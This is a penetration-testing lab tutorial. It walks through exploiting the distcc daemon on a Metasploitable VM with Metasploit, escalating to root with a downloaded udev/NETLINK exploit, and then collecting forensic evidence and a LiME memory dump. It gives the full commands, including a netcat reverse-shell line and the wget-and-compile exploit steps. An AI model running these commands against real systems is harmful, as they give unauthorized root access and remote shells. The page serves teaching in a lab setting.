ComputerSecurityStudent (CSS) [Login] [Join Now]




|SECURITY TOOLS >> Metasploitable Project >> Exploits >> Current Page |Views: 102101

(Metasploitable Project: Lesson 2)

{ Exploit the distcc daemon to obtain root, Collect Lime Memory Dump }


Section 0. Background Information
  1. Metasploitable 
  2. Pre-Requisite Lab
  3. What is distcc
    • distcc is designed to speed up compilation by taking advantage of unused processing power on other computers. A machine with distcc installed can send code to be compiled across the network to a computer which has the distccd daemon and a compatible compiler installed.

  4. Exploit CVE 2004-2687
    • distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.
    • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687

  5. Exploit CVE 2009-1185
  6. Lab Notes
    • In this lab we will do the following:
      1. Run an intense NMAP Scan on the Metasploitable VM
      2. Search for the distcc daemon
      3. Use Metasploit to exploit the distcc daemon
      4. Use exploit (http://www.exploit-db.com/download/8572) to escalate the privilege of the daemon user to root.
      5. Conduct Basic Network Forensics.
      6. Create a Lime Forensics Memory Dump.

  7. Legal Disclaimer
    • As a condition of your use of this Web site, you warrant to computersecuritystudent.com that you will not use this Web site for any purpose that is unlawful or that is prohibited by these terms, conditions, and notices.
    • In accordance with UCC § 2-316, this product is provided with "no warranties, either express or implied." The information contained is provided "as-is", with "no guarantee of merchantability."
    • In addition, this is a teaching website that does not condone malicious behavior of any kind.
    • You are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.
    • © 2013 No content replication of any kind is allowed without express written permission.

 

Section 1: Start Up the Metasploitable VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer

     

  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine

     

  3. Open the Metasploitable VM
    • Instructions:
      1. Navigate to where the Metasploitable VM is located
      2. Click on on the Metasploitable VM
      3. Click on the Open Button

     

  4. Edit the Metasploitable VM
    • Instructions:
      1. Select Metasploitable2-Linux VM
      2. Click Edit virtual machine settings

     

  5. Edit the Metasploitable VM
    • Instructions:
      1. Click on "Network Adapter NAT"
      2. Select the radio button "Bridged: Connected directly to the physical network"
      3. Click on the OK button
    • Warning:
      • By changing from NAT to Bridged opens the VM and network up to potential attacks.
      • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.

     

  6. Play the Metasploitable VM
    • Instructions:
      1. Click on the Metasploitable VM
      2. Click on Play virtual machine

 

Section 2: Determine Metasploitable IP Address
  1. Logging into Metasploitable
    • Instructions
      1. Username: msfadmin
      2. Password: msfadmin or whatever you changed it to in lesson 1.

     

  2. Change the msfadmin password
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • This is the IP Address of the Victim Machine.
      • My IP Address is 192.168.1.109.
      • Record your IP Address.

 

Section 4: Start Up the BackTrack5R1 VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer

     

  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine

     

  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button

     

  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings

     

  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button

     

  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine

     

  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.

     

  8. Bring up the GNOME
    • Instructions:
      1. Type startx

     

  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window

     

  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.112.
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Metasploitable).

 

Section 5: Scanning the Victim with NMAP
  1. Run Intense NMAP Scan on the Metasploitable VM (Perform On BackTrack)
    • Instructions:
      1. Obtain your Metasploitable IP address from (Section 2, Step 2)
      2. In the following step, replace 192.168.1.109 with your Metasploitable IP address.
      3. nmap -p 1-65535 -T4 -A -v 192.168.1.109 2>&1 | tee /var/tmp/scan.txt
    • Note(FYI):
      • This intense NMAP scan could take 3 to 5 minutes to run.

     

  2. Looking for distccd
    • Instructions:
      1. grep 3632 /var/tmp/scan.txt
    • Note(FYI):
      • distccd usually runs on port 3632.

 

Section 6: Attacking the Victim with Metasploit
  1. Start Up Metasploit msfconsole (Perform On BackTrack)
    • Instructions:
      1. msfconsole.
    • Note(FYI):
      1. Metasploit takes about 5 to 20 seconds to start up.
      2. Your picture (Rabbit, Cow, Graffit, Cyber Missle, etc) will probably be different than mine.

     

  2. Choose Metasploit Module
    • Instructions:
      1. search distcc
      2. use exploit/unix/misc/distcc_exec
    • Note(FYI):
      • This the name of the exploit that will be used to attack the DistCC Daemon Command.

     

  3. Choose Metasploit Payloads
    • Instructions:
      1. show payloads
      2. set payload cmd/unix/bind_ruby
    • Note(FYI):
      • A payload is the piece of software that lets you control a computer system after it’s been exploited. The payload is typically attached to and delivered by the exploit. Just imagine an exploit that carries the payload in its backpack when it breaks into the system and then leaves the backpack there.

     

  4. Show Metasploit Options
    • Note(FYI):
      • Replace 192.168.1.109 with the Metasploitable IP Address obtained from (Section 2, Step 2).
    • Instructions:
      1. show options
      2. set RHOST 192.168.1.109

     

  5. Metasploit Exploit to gain online access
    • Note(FYI):
      • Once the exploit command is executed, the following commands will actually be run on the Metasploitable VM: hostname, ifconfig eth0, and whoami.
      • You will not be a prompt after the exploit is implemented.
    • Instructions:
      1. exploit
      2. hostname
      3. ifconfig eth0
      4. whoami
        • Notice the user is daemon.

     

  6. Download and Compile Privileged Escalation
    • Note(FYI):
      • Now we are going to download a privileged escalation exploit for distcc to escalate the privilege from user daemon to root.
      • This exploit attacks NETLINK 1.4.1 because it does not verify whether a NETLINK message originates from the kernel space, which allows local users to gain privilege by sending a NETLINK message from the user space (/tmp/run).
      • The (--no-check-certificate) flag must be used with wget, otherwise you will only download a zero-byte file.
    • Instructions:
      1. wget --no-check-certificate http://www.computersecuritystudent.com/DOWNLOADS/8572 -O exploit-8572.c
      2. ls -l exploit-8572.c
      3. gcc exploit-8572.c -o exploit-8572
      4. ls -l exploit-8572*

     

  7. Create and Resize Terminal Windows
    • Instructions:
      1. Resize Previous Metasploit Terminal to consume the upper half of your screen.
      2. Click on the terminal icon to create a new window.
      3. Resize the newly created Terminal to consume the lower half of your screen.

     

  8. Create a Netcat Session
    • Note(FYI):
      • Now we are going to create a netcat session in the newly created terminal window listening on port 4444.
      • Netcat is a computer networking service for reading from and writing network connections using TCP or UDP.
      • Netcat is often referred to as a "Swiss-army knife for TCP/IP".
    • Instructions:
      1. netcat -vlp 4444

     

  9. Create a Netcat Session
    • Note(FYI):
      • The following commands will be placed in the upper terminal window.
      • In Step 9.2, replace 192.168.1.112 with BackTrack's IP address obtain in (Section 4, Step 10).
      • Remember to subtract 1 from the process ID (PID) number from Step 9.3
    • Instructions:
      1. echo '#!/bin/sh' > /tmp/run
      2. echo '/bin/netcat -e /bin/sh 192.168.1.112 4444' >> /tmp/run
      3. ps -eaf | grep udev | grep -v grep
        • [1] Record your PID (2709), [2] subtract 1 (2708), and [3] supply new PID to the next step.
      4. ./exploit-8572 2708
      5. In the bottom window, notice the new connection between BackTrack and Metasploitable.

     

  10. Test the Privileged Escalation Exploit
    • Note(FYI):
      • The following commands will be placed in the lower terminal window.
      • Notice that the whoami command identifies you as the root user.
    • Instructions:
      1. whoami

 

Section 7: Basic Network Forensics
  1. Become Root on the Metasploitable VM  (Perform On Metasploitable)
    • Note(FYI):
      • The following commands will be ran on the Metasploitable VM.
    • Instructions:
      1. sudo su -
      2. Supply your msfadmin password

     

  2. Piecing Together Network Connections and Process IDs
    • Note(FYI):
      • Pay attention to the below picture when grep'ing.
      • Record your PID for steps 2, 3 and 4.
    • Instructions:
      1. netstat -naop | grep 4444
      2. ps -eaf | grep 5698 | grep -v grep
        • Record your PID associated with Ruby
      3. ps -eaf | grep 5777 | grep -v grep
        • Record your PID associated with netcat /bin/sh.
      4. ps -eaf | grep 5776 | grep -v grep
        • Record the child PID contained in the sh grep results.

     

  3. Using lsof to view the netcat session (4444)
    • Note(FYI):
      • Pay attention to the below picture when grep'ing.
    • Instructions:
      1. lsof | grep 4444
      2. Record your PID (eg. 5698) associated with the daemon user
      3. Record your PID(eg. 5777) associated with the root user

     

  4. Using lsof to analyze the daemon process (5698)
    • Note(FYI):
      • Replace 5698 with the PID your captured in (Section 7, Step 3).
    • Instructions:
      1. lsof | grep 5689 | egrep '(distcc|4444)'
    • Note(FYI):
      1. The red dot indicates normal functioning distcc processes.
      2. The yellow dot indicates an abnormal 4444 TCP connection, that was spawned from the distcc PID (5698), going from Metasploitable (192.168.1.109) to BackTrack (192.168.112).

     

  5. Using lsof to analyze root owned netcat session (5777)
    • Note(FYI):
      • Replace the root owned PID(5777) that you captured in (Section 7, Step 3).
    • Instructions:
      1. lsof | grep 5777
    • Note(FYI):
      1. Notice that there are root established connections going from Metasploitable (192.168.1.109) to BackTrack (192.168.112).

     

  6. Using ps to analyze the root owned netcat session (5777)
    • Note(FYI):
      • Replace the root owned PID(5777) that you captured in (Section 7, Step 3).
    • Instructions:
      1. ps -eaf | grep -v grep | grep 5777
        • The parent ID is 5777, The Child ID is 5776.  Use the Child ID for the next step.
      2. ps -eaf | grep -v grep | grep 5776
        • Notice the shell (/bin/sh) spawned the process /tmp/run.
      3. cat /tmp/run
        • Remember exploit-8572 attacks NETLINK that allows a user to run a command (/bin/sh, ie. root shell) from the user space.

 

Section 8: Create Lime Forensics Memory Dump
  1. Prepare Forensics Repository Folder (Perform On Metasploitable)
    • Instructions:
      1. mkdir -p /var/www/distcc
      2. chown www-data:www-data /var/www/distcc
      3. chmod 755 /var/www/distcc
      4. ls -ld /var/www/distcc
    • Note(FYI):
      1. mkdir, creates a directory.  The "-p" flag is used to suppress errors if the directory already exists.

     

  2. Create Lime Forensics Memory Dump
    • Instructions:
      1. cd /var/tmp/src
      2. ls
      3. insmod ./lime-2.6.24-16-server.ko "path=/var/www/distcc/distcc_memory.lime format=lime"
      4. ls -l /var/www/distcc/distcc_memory.lime
    • Note(FYI):
      1. This line will create a dump in the Lime Forensics Format
        • insmod - this is program that inserts the lime module (lime-2.6.24-16-server.ko) into the Linux Kernel.
        • lime-2.6.24-16-server.ko is the module that will create the memory dump.

     

  3. Create Forensics Files
    • Instructions:
      1. cd /
      2. netstat -naop > /var/www/distcc/distcc_netstat.txt
      3. lsof > /var/www/distcc/distcc_lsof.txt
      4. ps -eaf > /var/www/distcc/distcc_pseaf.txt
      5. tar zcvf /var/www/distcc/tmp.tar.gz /tmp
    • Note(FYI):
      1. netstat, Display network connections.
      2. lsof, List open files.
      3. ps -eaf,  Display current processes.
      4. cd, Change directory.
      5. tar zcvf, Here we will use tar to zip up and compress  the /tmp directory.  Remember data in the /tmp directory is volatile as well.  Once the server is rebooted, data in the /tmp directory is deleted and often rewritten.
        • z, use gzip to compress the archive.
        • v, verbosely list files processed
        • c, create new archive.
        • f, specify archive file, directory or device

     

  4. Create MD5 Checksum
    • Instructions:
      1. cd /var/www/distcc/
      2. md5sum * | tee distcc_md5.txt

     

Section 9: Proof of Lab
  1. Proof of Lab (Perform On BackTrack)
    • Note(FYI):
      • The following commands will be placed in the lower terminal window.
    • Instructions:
      1. date
      2. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
    • Proof of Lab Instructions
      1. Press the <Ctrl> and <Alt> key at the same time.
      2. Press the <PrtScn> key.
      3. Paste into a word document
      4. Upload to Moodle


Help ComputerSecurityStudent
pay for continued research,
resources & bandwidth